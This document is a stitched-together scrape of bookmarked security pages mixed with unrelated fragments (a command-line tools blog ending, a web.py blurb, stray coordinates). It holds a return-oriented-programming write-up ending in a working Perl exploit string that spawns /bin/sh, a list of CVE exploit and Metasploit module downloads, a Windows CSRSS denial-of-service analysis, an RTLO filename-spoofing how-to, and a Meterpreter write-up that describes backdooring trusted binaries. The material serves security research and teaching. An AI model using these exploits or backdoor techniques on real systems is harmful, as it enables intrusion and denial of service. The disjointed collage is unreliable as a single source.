Don't worry if you don't regard yourself as a toolmaker. The next time you're cooking up that exotic pipeline, consider to put it in a file, add a shebang , parametrize it with some $1s and $2s, and chmod +x it. That's all there is to it. Who knows, you might even become interested in applying the Unix philosophy .
While the power of the command-line should not be underestimated when it comes to Obtaining, Scrubbing, and Exploring data, it can only get you so far. When you're ready to do some more serious Exploring, Modelling, and iNterpretation of your data, you're probably better off continuing your work in a statistical computing environment, such as R or IPython notebook +pandas .
If you enjoyed this post, then you may want to follow me on Twitter .
Command-line tools suggested by others 
Below is an uncurated list of tools and repositories that others have suggested via twitter or Hacker News .
I will soon have a look at all these tools and update the post accordingly. Thanks everybody.
 
﻿50.10480108666665 8.64944449333333 151.5 
A Primitive for Revealing Stealthy Peripheral-Based Attacks on the Computing Platform's Main Memory
Created:
9/27/2013 9:47:33 AM
Updated:
9/27/2013 9:48:03 AM
Author:
wishi
Tags:
Malware-analysis GPU


﻿http://divine-protection.com/tc/34 
... ls -la :: Advanced Return-Oriented Exploit
Created:
11/12/2010 2:01:42 PM
Updated:
11/12/2010 2:04:55 PM
Author:

Tags:
bookmark Exploit programming awesome rop


Advanced Return-Oriented Exploit
2010/05/05 22:06 / Hacking
This is a brief introduction to a cool little technique of buffer overflow exploit with the following conditions: the stack is not executable, the stack address is randomized, and the libc address is also randomized. In other words, we cannot simply use return-to-stack and return-to-libc.

A vulnerable program that I am going to use is a modified version of gera's in [1]. Here, we do not have stack canary protection, but I am going to make it much harder by modifying the code a little bit: adding an exit system call, and employing stack and libc address randomization (ASLR). The modified version is shown below:

1. #include <string.h>
2. #include <stdlib.h>
3. #include <stdio.h>
4.  
5. int func(char *msg) {
6.     char buf[80];
7.  
8.     strcpy(buf,msg);
9.     buf[0] = toupper(buf[0]);
10.     strcpy(msg,buf);
11.     printf("Caps: %s\n",msg);
12.     exit(1);
13. }
14.  
15. int main(int argv, char** argc) {
16.         func(argc[1]);
17. }


1. Vulnerability
    There is a classic strcpy vulnerability in the func function. Two consecutive strcpy call enables us to write arbitrary values in an arbitrary address: first, modify the value of the msg from the first strcpy, and then write arbitrary values from the second strcpy. Note that overwriting the return address of func is not enough because it is protected with exit system call. It is more clear if you look at the disassembled version of the program:

1. 080484b4 <func>:
2.  80484b4:       55                      push   %ebp
3.  80484b5:       89 e5                   mov    %esp,%ebp
4.  80484b7:       83 ec 58                sub    $0x58,%esp
5.  80484ba:       8b 45 08                mov    0x8(%ebp),%eax
6.  80484bd:       89 44 24 04             mov    %eax,0x4(%esp)
7.  80484c1:       8d 45 b0                lea    -0x50(%ebp),%eax
8.  80484c4:       89 04 24                mov    %eax,(%esp)
9.  80484c7:       e8 04 ff ff ff          call   80483d0 <strcpy@plt>
10.  80484cc:       0f b6 45 b0             movzbl -0x50(%ebp),%eax
11.  80484d0:       0f be c0                movsbl %al,%eax
12.  80484d3:       89 04 24                mov    %eax,(%esp)
13.  80484d6:       e8 d5 fe ff ff          call   80483b0 <toupper@plt>
14.  80484db:       88 45 b0                mov    %al,-0x50(%ebp)
15.  80484de:       8d 45 b0                lea    -0x50(%ebp),%eax
16.  80484e1:       89 44 24 04             mov    %eax,0x4(%esp)
17.  80484e5:       8b 45 08                mov    0x8(%ebp),%eax
18.  80484e8:       89 04 24                mov    %eax,(%esp)
19.  80484eb:       e8 e0 fe ff ff          call   80483d0 <strcpy@plt>
20.  80484f0:       8b 45 08                mov    0x8(%ebp),%eax
21.  80484f3:       89 44 24 04             mov    %eax,0x4(%esp)
22.  80484f7:       c7 04 24 00 86 04 08    movl   $0x8048600,(%esp)
23.  80484fe:       e8 dd fe ff ff          call   80483e0 <printf@plt>
24.  8048503:       c7 04 24 01 00 00 00    movl   $0x1,(%esp)
25.  804850a:       e8 e1 fe ff ff          call   80483f0 <exit@plt>
26.  
27. 0804850f <main>:
28.  804850f:       8d 4c 24 04             lea    0x4(%esp),%ecx
29.  8048513:       83 e4 f0                and    $0xfffffff0,%esp
30.  8048516:       ff 71 fc                pushl  -0x4(%ecx)
31.  8048519:       55                      push   %ebp
32.  804851a:       89 e5                   mov    %esp,%ebp
33.  804851c:       51                      push   %ecx
34.  804851d:       83 ec 14                sub    $0x14,%esp
35.  8048520:       8b 41 04                mov    0x4(%ecx),%eax
36.  8048523:       83 c0 04                add    $0x4,%eax
37.  8048526:       8b 00                   mov    (%eax),%eax
38.  8048528:       89 04 24                mov    %eax,(%esp)
39.  804852b:       e8 84 ff ff ff          call   80484b4 <func>
40.  8048530:       83 c4 14                add    $0x14,%esp
41.  8048533:       59                      pop    %ecx
42.  8048534:       5d                      pop    %ebp
43.  8048535:       8d 61 fc                lea    -0x4(%ecx),%esp
44.  8048538:       c3                      ret

2. Observation and Strategy
    We can only modify a single memory region, but it must not be the return address because of the exit system call. There are several possible spots including dtors and GOT. In this example, I am going to overwrite GOT entry of printf function. GOT is typically in the code section of a program and its address is not randomized.

    Now we can hijack the control flow when the printf is called, so the next step is to determine where to jump. We cannot simply return to libc because its address is randomized (we are not going to use brute force here). However, we know that the code section's addresses are fixed, and we are going to use return-oriented programming technique described introduced by Hovav [2]. In this problem, we can only use the code section of this small program, thus there is very small number of gadgets available.

   The return-oriented program that we are going to design runs as follows: 1) retrieve an address to libc's strcpy function from the GOT, 2) compute the relative address from strcpy function to system function, 3) obtain the address of the system function from the step 1 and 2, 4) set up the stack to have a pointer to "/bin/sh" string, 5) jump to the system function using indirect call (call *%eax).

3. Gadgets
    We are going to use the following 4 gadgets that we can find from the code section to perform the exploitation.

    1) 
1. 0x80485a2 <__libc_csu_init+82>: add    $0xc,%esp
2. 0x80485a5 <__libc_csu_init+85>: pop    %ebx
3. 0x80485a6 <__libc_csu_init+86>: pop    %esi
4. 0x80485a7 <__libc_csu_init+87>: pop    %edi
5. 0x80485a8 <__libc_csu_init+88>: pop    %ebp
6. 0x80485a9 <__libc_csu_init+89>: ret

    2) 
1. 0x804838c <_init+44>:   pop    %eax
2. 0x804838d <_init+45>:   pop    %ebx
3. 0x804838e <_init+46>:   leave  
4. 0x804838f <_init+47>:   ret

    3) 
1. 0x80485ce <__do_global_ctors_aux+30>:   add    0xf475fff8(%ebx),%eax
2. 0x80485d4 <__do_global_ctors_aux+36>:   add    $0x4,%esp
3. 0x80485d7 <__do_global_ctors_aux+39>:   pop    %ebx
4. 0x80485d8 <__do_global_ctors_aux+40>:   pop    %ebp
5. 0x80485d9 <__do_global_ctors_aux+41>:   ret

    4) 
1. 0x80484af <frame_dummy+31>:     call   *%eax

4. Final Exploit
     Using the above four gadgets, I introduce the following exploit. Note this exploit is not just a simple return-oriented programming exploit, there are many techniques involved:
    1) It dynamically retrieves system function's address from the GOT
    2) changes the ebp register to point to the bss section so that we can control the esp and ebp continuously.
    3) Set up the stack address to have enough space for system call.

   First, the second gadget sets up the eax and ebx values that are used in the third gadget to compute the system function's address. The result of the "add 0xf475fff8(%ebx), %eax" instruction must produce the address of system function in libc. Specifically, 0xf475fff8(%ebx) must point to the strcpy's GOT entry, so the strcpy's address in libc is added with the value in eax register.

    Changing the ebp register in the first gadget is the most tricky part. In the first gadget, we set up the ebp to point to a writable bss section (More precisely, beyond the bss section). Since the address of 0x804a2e8 is a writable region, we can set the address for ebp and esp. In the second gadget, we can set up the esp value by using the leave instruction. Thus after the second gadget, both the ebp and the esp will point to the addresses of the bss section.

    The final exploit in perl is shown below:

1. print "\xa2\x85\x04\x08" . # First Gadget
2. "AAAAAAAA" . # dummy
3. "\xe8\xa2\x04\x08" . # set ebp, poing to line 9 of this exploit string
4. "\x8c\x83\x04\x08" . # Second gadget
5. "\xc0\x52\xfc\xff" ."\x14\xa0\x8e\x13AAAA" . "/bin/sh;"  . "A"x48 .
6. "\x10\xa0\x04\x08" . # GOT entry address of printf
7. "\x30\xa0\x04\x08"x0xa0 . # dummy
8. "\xce\x85\x04\x08" .
9. "\x30\xa0\x04\x08"x0x2 . # dummy
10. "\x30\xa0\x04\x08" . # dummy ebp
11. "\xaf\x84\x04\x08" . # call *%eax
12. "\x30\xa0\x04\x08";

I also attach the binary file for people who are interested. :)
(Download)

5. Conclusion
    There are many possible way of bypassing ASLR protections. Here, I present a way to exploit the return-oriented programming technique in a very limited environment: small code space, randomized stack and randomized libc.
﻿http://sock-raw.org/papers/abusing_network_protocols 
---- [ Abusing Network Protocols
Created:
7/16/2010 3:36:55 PM
Updated:
7/16/2010 3:37:41 PM
Author:

Tags:
bookmark network-security new?


﻿http://webpy.org/ 
About web.py (web.py)
Created:
10/24/2010 6:26:07 PM
Updated:
10/24/2010 6:26:27 PM
Author:

Tags:
python web programming


About web.py
Other languages : français | ...
web.py is a web framework for python that is as simple as it is powerful. web.py is in the public domain; you can use it for whatever purpose with absolutely no restrictions.
﻿http://esploit.blogspot.com/2011/05/practical-rtlo-unicode-spoofing.html 
::eSploit::: Practical RTLO Unicode Spoofing !
Created:
6/9/2011 6:46:49 PM
Updated:
6/9/2011 6:46:57 PM
Author:

Tags:
attacks Obfuscation


Practical RTLO Unicode Spoofing !
=========================================================================
This post is regarding the recent finding by Norman "The RTLO unicode hole - sequence manipulation as an attack vector". 
· http://www.norman.com/security_center/security_center_archive/2011/rtlo_unicode_hole/en
· http://www.h-online.com/security/news/item/Backwards-Unicode-names-hides-malware-and-viruses-1242114.html

Well, this attack vector is not new, researchers have found it long time back, but it's still good that someone (Norman) brings it forward for the security industry as it's still exploitable.

We can find many old papers on the vector. So, let's test it step-by-step under Windows 7 and understand the practical impact.

Some theory:

0x202E - right-to-left override
0x202B - right-to-left embedding 
0x202D - left-to-right override
0x202A - left-to-right embedding

To understand more about RTLO check here:

http://www.fileformat.info/info/unicode/char/202e/index.htm

I'm not going to explain what RTLO is and how it's tricky all over again , rather I would prefer to demonstrate the attack vector !

If you've read the analysis by Norman , the first question would be

"How would I reproduce this under windows?"

Well, here's How...

STEPS:

1- Windows - Start - Run - charmap   



2- Find U+202E (RTLO) in charmap . We can use the "Go to Unicode"  function for this in the charmap program. We just need to type in 202E in the bo
﻿http://lab.mediaservice.net/code.php#cachedump 
@ Mediaservice.net LAB
Created:
2/17/2011 5:04:17 PM
Updated:
2/17/2011 5:04:38 PM
Author:

Tags:
security tools programming




Home
Code
Advisories
Notes
Links
CVE-2003-0190 PoC
Proof of Concept for CVE-2003-0190: timing attack on OpenSSH-portable <= 3.6.1p1 with PAM.
· http://lab.mediaservice.net/code/ssh_brute.c
MD5: 4fbc9a1fb23e828b1fe42ff7cc65d1c1
SHA-1: b57f20c0a86c20cda82e8dc169923452fc50225c 
· http://lab.mediaservice.net/code/openssh-3.6.1p1_brute.diff
MD5: de3bc1148b93ddb427f6fc721d08a1c0
SHA-1: 9cf2b8a9bcb5e526c071f18e4bd3be5c5b716e35
CVE-2008-0960 Exploit
Proof of Concept for CVE-2008-0960: allow you to bypass authentication on SNMP v3 (tested on CISCO and Net- SNMP) via HMAC validation error.
· http://lab.mediaservice.net/code/snmpv3_exp.tgz
MD5: 8b361d84155829c8b08e4342f8db6aa2
SHA-1: 4f011d1dae3b28611700b2e66158ba572d4673a6
CVE-2009-2669 Exploit
A certain debugging component in IBM AIX 5.3 and 6.1 does not properly handle the (1) _LIB_INIT_DBG and (2) _LIB_INIT_DBG_FILE environment variables, which allows local users to gain privileges by leveraging a setuid-root program to create an arbitrary root-owned file with world-writable permissions, related to libC.a (aka the XL C++ runtime library) in AIX 5.3 and libc.a in AIX 6.1.
· http://lab.mediaservice.net/code/raptor_libC
MD5: 76e604345f2e99e39c7638ebf04d985d
SHA-1: 4c5b8c3876db39d2c6664adf8892f139f1fbb2b3
CVE-2010-3856 Exploit
ld.so in the GNU C Library (aka glibc or libc6) before 2.11.3, and 2.12.x before 2.12.2, does not properly restrict use of the LD_AUDIT environment variable to reference dynamic shared objects (DSOs) as audit objects, which allows local users to gain privileges by leveraging an unsafe DSO located in a trusted library directory, as demonstrated by libpcprofile.so (CVE-2010-3856).
· http://lab.mediaservice.net/code/raptor_ldaudit
MD5: 8258ca708474ed86adb154c899bb1c12
SHA-1: a18a591faff0382ac3a54522acf3ee709e3b7d44
· http://lab.mediaservice.net/code/raptor_ldaudit2
MD5: cce9edfc7ff62c900a5aff57a50caf2b
SHA-1: 3761f7987e39960d329c1bfa7e80f3c90c0c04ec
Cachedump - Metasploit Module
Cachedump post exploitation module for Metasploit.
· http://lab.mediaservice.net/code/cachedump.rb
MD5: e996584ba369dc8babf9fd5a5bf198d5
SHA-1: d02a976b65a97ffc45d840aa7eff151f3ebe25f4
Juniper Secure Access URL decoder/encoder
Juniper "Mask hostnames while browsing" URL decoder/encoder (DanaInfo or url variables).
· http://lab.mediaservice.net/code/junidec.c
MD5: 94424ac3e1e33dfe67031818b43b3319
SHA-1: 2a48898d9dc3ef4c5e6861c2fa487e97b43b9f85
RunAsUser v0.5
RunAsUser uses DLL injection techniques to gain SYSTEM privileges abusing the LSASS.EXE process, then it duplicates the security token of the target process and runs an arbitrary program, effectively impersonating the owner of the target process.
· http://lab.mediaservice.net/code/RunAsUser.zip
MD5: 32872e88252169d3a1f25455f8480ec3
SHA-1: f84883a463b12427b438213326e57a465fccd973
Singsing
Singsing is a SYN scan library, small, fast and compatible. From the core engine, the asyncronous SYN scanner zucca has been born.
· Singsing project page
http://lab.mediaservice.net/code/singsing/
SIP digest leak - Metasploit module
Metasploit module for the SIP digest leak discovered by EnableSecurity. By sending a fake call to a phone, when the user hangs up a BYE message is sent back. If the reply is a 401/407 message the phone will send a second BYE with the digest token.
· http://lab.mediaservice.net/code/sip_digest_leak.rb
MD5: 2a15b976098f1c42f60107e03d110089
SHA-1: e297d4b1fa12cc9bf5f78f31aaf9efa261eea7ff
WarVOX patch
iaxrecord (warvox 1.0.1) patch to enable the use of test mode of iaxclient library (needed 2.2.x), you will not need an audio device anymore.
· http://lab.mediaservice.net/code/iaxrecord_patch.diff
MD5: f131f03ba5a877ace17329ba2d40cb85
SHA-1: e622316c7345d47d846dfb98d8ddaa055f2154c2
Copyright © 1998-2011 @ Mediaservice.net S.r.l. con Socio Unico. All rights reserved.
﻿http://j00ru.vexillium.org/?p=971 
0-day Windows XP SP3 Denial of Service (CSRSS Crash #1) | j00ru//vx tech blog
Created:
8/4/2011 6:19:48 PM
Updated:
8/4/2011 6:19:48 PM
Author:

Tags:
windows security zeroday awesome


0-day Windows XP SP3 Denial of Service (CSRSS Crash #1)
A rather short blog post today, as I am currently on my vacations. After publishing two, quite extensive write-ups regarding vulnerabilities in the Windows “CSRSS” component at Microsoft July Patch Tuesday:
· CVE-2011-1281: A story of a Windows CSRSS Privilege Escalation vulnerability
· CVE-2011-1282: User-Mode NULL Pointer Dereference & co.
I would like to shortly discuss the details about another bug in the Windows Subsystem, which was NOT patched due to low severity, and can be used to force a reboot of a Windows-driven machine. The result can be accomplished by exploiting a flaw in the winsrv!SrvGetConsoleTitle routine – a member of the Console Management services’ group. All Windows NT-family system editions up to Windows XP / 2003 are affected; on Windows 7, making use of the bug would crash the corresponding CONHOST.EXE process, at most. Even though it is also theoretically possible to turn the issue into an “Information Disclosure” class, we consider it highly unlikely to avoid an unhandled exception during the exploitation process.
Note: Upon publishing the CVE-2011-1281 (AllocConsole EOP) article, a few people contacted me asking for some minor advices related to the vulnerability exploitation. One of them – a French security researcher Mysterie – managed to create a fully functional exploit and even made it available to the public audience. If you’re interested, see his post and PoC source code.
Vulnerability Details
As previously mentioned, the considered security issue resides in winsrv!SrvGetConsoleTitle, a CSRSS operation handler associated with the official kernel32!GetConsoleTitle API. The routine’s functionality is implied by its name: it should be used to retrieve the current console title (a single string, displayed on the console window title bar). The function takes two parameters: a pointer to the output buffer, and the size of the buffer. Simple enough, so far 
After a short investigation of the flawed function, we can see the following assembly snippet:
.text:75B328DF                 push    edi
.text:75B328E0                 push    1
.text:75B328E2                 push    dword ptr [esi+LPC_MSG.nSize]
.text:75B328E5                 lea     edi, [esi+LPC_MSG.lpConsoleTitle]
.text:75B328E8                 push   edi
.text:75B328E9                 push    esi
.text:75B328EA                 call    ds:__imp__CsrValidateMessageBuffer@16; CsrValidateMessageBuffer(x,x,x,x)
.text:75B328F0                 test    al, al
.text:75B328F2                 jz      loc_75B3F50D
.text:75B328F8                 cmp     byte ptr [esi+34h], 0
.text:75B328FC                 jz      loc_75B3F517
.text:75B32902                 mov     edx, [ebp+msg]
.text:75B32905                 mov     ax, [edx+CONSOLE.TitleLength]
.text:75B3290C                 cmp     [esi+LPC_MSG.nSize], ax
.text:75B32910                 jbe     short outputLengthLessThanActual
.text:75B32912                 movzx   eax, ax
.text:75B32915                 mov     [esi+LPC_MSG.nSize], eax
.text:75B32918
.text:75B32918 outputLengthLessThanActual:             ; CODE XREF:SrvGetConsoleTitle(x,x)+4Aj
.text:75B32918                 mov     ecx, [esi+LPC_MSG.nSize]
.text:75B3291B                 mov     esi, [edx+CONSOLE.Title]
.text:75B32921                 mov     edi,[edi]
.text:75B32923                 mov     eax, ecx
.text:75B32925                 shr     ecx, 2
.text:75B32928                 rep movsd
.text:75B3292A                 mov     ecx, eax
.text:75B3292C                 and     ecx,3
.text:75B3292F                 rep movsb
The above listing is equivalent to the following C-like pseudocode:
  if(!CsrValidateMessageBuffer(msg, &msg->lpConsoleTitle, msg->nSize, sizeof(BYTE))
  {
    // Bail out with STATUS_INVALID_PARAMETER;
  }

  if(msg->UnicodeFlag)
  {
    if((USHORT)msg->nSize > Console->TitleLength)
    {
      msg->nSize = Console->TitleLength;
    }
    memcpy(msg->lpConsoleTitle, Console->Title, msg->nSize);
  }
A single glimpse is enough to spot the apparent error – a 16-bit truncated output buffer size is used during the comparison with the actual title length; after that, a full 32-bit number is used as the “memcpy” function operand. Therefore, it should be possible to get CSRSS to copy more bytes than desired, by setting the nSize parameter to a value larger than the current title, but with the lower 16 bits below the string length (e.g. nSize = 0×10002). However, if you simply try to call:
#define CONSOLE_TITLE_LENGTH (0x10002)
CHAR ConsoleTitle[CONSOLE_TITLE_LENGTH];

GetConsoleTitle(lpConsoleTitle, CONSOLE_TITLE_LENGTH);
the operating system will definitely not crash. Why?
The reason of this specific behavior, is the fact that the “msg->nSize” value is used to validate the correctness of the 
msg->lpConsoleTitle
pointer. Since the output of the funtion can be as large as tens of kilobytes, the output buffer is expected to be stored inside the shared client-csrss section. The section – created during the process initialization – has a constant size of 0×10000, hard-coded in the ntdll!CsrpConnectToServer routine:
.text:7C92291F mov [ebp+var_38], 2
.text:7C922926 mov [ebp+var_34], 1
.text:7C92292A mov [ebp+var_33], 1
.text:7C92292E mov [ebp+var_24], 10000h
.text:7C922935 mov [ebp+var_20], ebx
.text:7C922938 call _NtCreateSection@28 ; NtCreateSection(x,x,x,x,x,x,x)
Consequently, it is not possible to use the shared heap for a valid allocation of 0×10000 or more bytes. In order to address the limitation, one can close the CSRSS connection at run-time (primarily through closing the (A)LPC port handle, established during PE loading), and re-connect to the server, specifying a custom-sized shared section. The above is made possible thanks to the fact that CSRSS performs no validation regarding the size of the shared section, whatsoever.
After following the above steps, a potential attacker can specify an overlong output buffer as the kernel32!GetConsoleTitle parameter, and either read an excessive amount of CSRSS heap bytes following the original console title string, or generate an unhandled READ Access Violation exception.
An exemplary crash log from Windows XP SP3 32-bit is as follows:
 *** An Access Violation occurred in C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,3072,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off MaxRequestThreads=16:

The instruction at 75B62928 tried to read from an invalid address, 01148000

 *** enter .exr 006AFBE0 for the exception record
 ***  enter .cxr 006AFBFC for the context
 *** then kb to get the faulting stack

Break instruction exception - code 80000003 (first chance)
001b:7c90120e cc              int     3

kd> kb
ChildEBP RetAddr  Args to Child
006afa38 7c9652ae 006afaec 00000000 00000001 ntdll!DbgBreakPoint
006afa78 7c9659c1 006afaec 7c9659c6 006afac4 ntdll!RtlUnhandledExceptionFilter2+0x27b
006afa88 75b4324c 006afaec 00000000 00000000 ntdll!RtlUnhandledExceptionFilter+0x12
006afac4 75b44aea 006afaec 75b468b1 006afaf4 CSRSRV!CsrUnhandledExceptionFilter+0x48
006afacc 75b468b1 006afaf4 00000001 006afaf4 CSRSRV!CsrApiRequestThread+0x4d4
006afaf4 7c9032a8 006afbe0 006affe4 006afbfc CSRSRV!_except_handler3+0x61
006afb18 7c90327a 006afbe0 006affe4 006afbfc ntdll!ExecuteHandler2+0x26
006afbc8 7c90e46a 00000000 006afbfc 006afbe0 ntdll!ExecuteHandler+0x24
006afbcc 00000000 006afbfc 006afbe0 006afbfc ntdll!KiUserExceptionDispatcher+0xe

kd> .exr 006AFBE0
ExceptionAddress: 75b62928 (winsrv!SrvGetConsoleTitle+0x00000065)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 01148000
Attempt to read from address 01148000

kd> .cxr 006AFBFC
eax=00040002 ebx=00000026 ecx=0000ed22 edx=004f23b0 esi=01148000 edi=0018b134
eip=75b62928 esp=006afec8 ebp=006afed0 iopl=3         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00013217
winsrv!SrvGetConsoleTitle+0x65:
001b:75b62928 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
And... that’s pretty much it! To those who are spending their week on BlackHat / DEFCON – have fun! I am going to drop some details about one or more CSRSS issues, as long as you’re not completely fed up with the Windows Subsystem posts 
Take care,
﻿A New Covert Channel over Cellular Voice Channel in Smartphones
Created:
5/8/2015 3:07:36 PM
Updated:
5/8/2015 3:08:24 PM
Author:

Tags:
mobile/embedded wireless opsec


﻿https://medium.com/@br4nsh/a-meterpreter-and-windows-proxy-case-4af2b866f4a1 
A Meterpreter and Windows proxy case – Juan Caillava – Medium
Created:
5/7/2017 10:14:21 AM
Updated:
5/7/2017 10:14:21 AM
Author:

Tags:
Metasploit



A Meterpreter and Windows proxy case
Introduction
A few months ago, while I was testing a custom APT that I developed for attack simulations in an enterprise Windows environment that allows access to Internet via proxy, I found that the HTTPs staged Meterpreter payload was behaving unexpectedly. To say the truth, at the beginning I was not sure if it was a problem related to the Meterpreter injection in memory that my APT was doing or something else. As the APT had to be prepared to deal with proxy environments, then I had to find out the exact problem and fix it.
After doing a thorough analysis of the situation, I found out that the Meterpreter payload I was using (windows/meterpreter/reverse_https, Framework version: 4.12.40-dev) may not be working properly.
Before starting with the technical details, I will provide data about the testing environment:
· Victim OS / IP: Windows 8.1 x64 Enterprise /10.x.x.189
· Internet access: via an authenticated proxy (“Automatically detect settings” IE configuration / DHCP option).
· Proxy socket: 10.x.x.20:8080
· External IP via proxy: 190.x.x.x
· Attacker machine: 190.y.y.y
· Meterpreter payload: windows/meterpreter/reverse_https
Note: as a reminder, the reverse_https payload is a staged one. That is, the first code that is executed in the victim machine will download and inject in memory (via reflective injection) the actual Meterpreter DLL code (metsrv.x86.dll or metsrv.x64.dll).
The following screenshot shows the external IP of the victim machine:


The following screenshot shows the proxy configuration (Automatically detect settings) of the victim machine:


The following screenshot shows the use of “autoprox.exe” on the victim machine. Observe that a proxy configuration was obtained via DHCP (option 252):


In the above image it can be observed that, for “www.google.com", the proxy 10.x.x.20:8080 has to be used. This can also be learnt by manually downloading and inspecting the rules contained in the wpad.dat file (its location was provided via the option 252 of DHCP).
Note: according to my analysis, autoprox.exe (by pierrelc@microsoft.com) will use the Windows API to search first for the proxy settings received via DHCP and then if it fails, it will search for proxy settings that can be obtained via DNS.
Analysis
During the analysis of the problem, I will be changing a few lines of code of the Meterpreter payload and testing it in the victim machine, therefore it is required to create a backdoored binary with a HTTPS reverse meterpreter staged payload (windows/meterpreter/reverse_https) or use a web delivery module. Whatever you want to use, is ok.
Note: a simple backdoored binary can be created with Shellter and any trusted binary such as putty.exe, otherwise, use the Metasploit web delivery payload with Powershell. Remember that we will be modifying the stage payload and not the stager, therefore you just need to create one backdoored binary for all the experiment.
Let’s execute the backdoored binary on the victim machine and observe what happens in the Metasploit listener that is running on the attacker machine.
The following screenshot shows that the MSF handler is running on the victim machines (PORT 443), and then a connection is established with the victim machine (SRC PORT 18904):


In the above image, it can be observed that the victim machine is reaching the handler and we are supposedly getting a Meterpreter shell. However, it was impossible to get a valid answer for any command I introduced and then the session is closed.
From a high level perspective, when the stager payload (a small piece of code) is executed on the victim machine, it connects back to the listener to download a bigger piece of code (the stage Meterpreter payload), injects it in memory and give the control to it. The loaded Meterpreter payload will connect again with the listener allowing the interaction with the affected system.
From what we can see so far, the stager was successfully executed and was able to reach the listener through the proxy. However, when the stage payload was injected (if it worked), something is going wrong and it dies.
Note: in case you are wondering, the AV was verified and no detection was observed. Also, in case the network administrator decided to spy the HTTPs content, I manually created a PEM certificate, configured the listener to make use of it and then compared the fingerprint of the just created certificate against the fingerprint observed with the browser when the Metasploit listener was visited manually to make sure the certificate was not being replaced in transit. This motivated me to continue looking for the problem in other place.
The next, perhaps obvious, step would be to sniff the traffic from the victim machine to understand more about what is happening (from a blackbox perspective).
The following screenshot shows the traffic captured with Wireshark on the victim machine:


In the above image it can be observed a TCP connection between the victim machine (10.x.x.189) and the the proxy server (10.x.x.20:8080), where a CONNECT method is sent (first packet) from the victim asking for a secure communication (SSL/TLS) with the attacker machine (190.x.x.x:443). In addition, observe the NTLM authentication used in the request (NTLMSSP_AUTH) and the response from the proxy server is a “Connection established” (HTTP/1.1 200). After that, an SSL/TLS handshake took place.
It worth mentioning that the above image shows the traffic sent and received during the first part, that is, when the stager payload was executed. After the connection is established, a classic SSL/TLS handshake is performed between the two ends (the client and the server), and then, within the encrypted channel, the stage payload will be transferred from the attacker machine to the victim.
Now that we confirmed that the first part (staging) of the Meterpreter “deployment” was working, what follows is to understand what is happening with the second part, that is, the communication between the stage payload and the listener. In order to do that, we just need to continue analyzing the traffic captured with Wireshark.
The following screenshot shows what would be the last part of the communication between the stager payload and the listener, and then an attempt of reaching the attacker machine directly from the victim (without using the proxy):


In the first 5 packets of the above image, we can see the TCP connection termination phase (FIN,ACK; ACK; FIN,ACK; ACK) between the victim machine (10.x.x.189) and the proxy server (10.x.x.20). Then, it can be observed that the 6th packet contains a TCP SYN flag (to initiate a TCP handshake) sent from the victim machine to the attacker machine directly, that is, without using the proxy server as intermediary. Finally, observe the 7th packet received by the victim machine from the gateway indicating the destination (attacker machine) is not directly reachable from this network (remember I told you that it was required to use a proxy server to reach Internet).
So, after observing this traffic capture and seeing that the Meterpreter session died, we can think that the Meterpreter stage payload was unable to reach the listener because, for some reason, it tried to reach it directly, that is, without using the system proxy server in the same way the stager did.
What we are going to do now is to download Meterpreter source code, and try to understand what could be the root cause of this behavior. To do this, we should follow the “Building — Windows” guide published in the Rapid7 github (go to references for a link).
Now, as suggested by the guide, we can use Visual Studio 2013 to open the project solution file (\metasploit-payloads\c\meterpreter\workspace\meterpreter.sln) and start exploring the source code.
After exploring the code, we can observe that within the “server_transport_winhttp.c” source code file there is a proxy settings logic implemented (please, go to the references to locate the source file quickly).
The following screenshot shows part of the code where the proxy setting is evaluated by Meterpreter:


As I learnt from the Meterpreter reverse_https related threads in github, it will try to use (firstly) the WinHTTP Windows API for getting access to the Internet and in this portion of code, we are seeing exactly that.
As we can see in the code it has plenty of dprintf call sentences that are used for debugging purposes, and that would provide valuable information during our runtime analysis.
In order to make the debugging information available for us, it is required to modify the DEBUGTRACE pre-processor constant in the common.h source code header file that will make the server (Meterpreter DLL loaded in the victim) to produce debug output that can be read using Visual Studio’s _Output_ window, DebugView from SysInternals, or _Windbg_.
The following screenshot shows the original DEBUGTRACE constant commented out in the common.h source code file:


The following screenshot shows the required modification to the source code to obtain debugging information:


Now, it is time to build the solution and copy the resulting “metsrv.x86.dll” binary file saved at “\metasploit-payloads\c\meterpreter\output\x86\” to the attacker machine (where the metasploit listener is), to the corresponding path (in my case, it is /usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/metasploit-payloads-1.1.26/data/meterpreter/).
On the debugging machine, let’s run the “DebugView” program and then execute the backdoored binary again to have the Meterpreter stager running on it.
The following screenshot shows the debugging output produced on the victim machine:


From the debugging information (logs) generated by Meterpreter, it can be observed that the lines 70 through 74 corresponds to the lines 48 through 52 of the server_transport_winhttp.c source code file, where the dprintf sentences are. In particular, the line 71 (“[PROXY] AutoDetect: yes”) indicates that the proxy “AutoDetect” setting was found in the victim machine. However, the proxy URL obtained was NULL. Finally, after that, it can be observed that the stage tried to send a GET request (on line 75).
Thanks to the debugging output generated by Meterpreter, we are now closer to the problem root. It looks like the piece of code that handles the Windows proxy setting is not properly implemented. In order to solve the problem, we have to analyze the code, modify it and test it.
As building the Meterpreter C solution multiple times, copying the resulting metsrv DLL to the attacker machine and testing it with the victim is too much time consuming I thought it would be easier and painless to replicate the proxy handling piece of code in Python (ctypes to the rescue) and modify it multiple times in the victim machine.
The following is, more or less, the Meterpreter proxy piece of code that can be found in the analyzed version of the server_transport_winhttp.c source code file, but written in Python:

The following screenshot shows the execution of the script on the victim machine:


The output of the script shows the same information that was obtained in the debugging logs. The proxy auto configuration setting was detected, but no proxy address was obtained.
If you check the code again you will realize that the DHCP and DNS possibilities are within the “if” block that evaluates the autoconfiguration URL (ieConfig.lpszAutoConfigUrl). However, this block would not be executed if only the AutoDetect option is enable, and that is exactly what is happening on this particular victim machine.
In this particular scenario (with this victim machine), the proxy configuration is being obtained via DHCP through the option 252.
The following screenshot shows DHCP transaction packets sniffed on the victim machine:


Observe from the DHCP transaction sniffed on the victim machine that the DHCP answer, from the server, contains the option 252 (Private/Proxy autodiscovery) with the proxy URL that should be used to obtain information about the proxy. Remember that this is what we obtained before using the autoprox.exe tool.
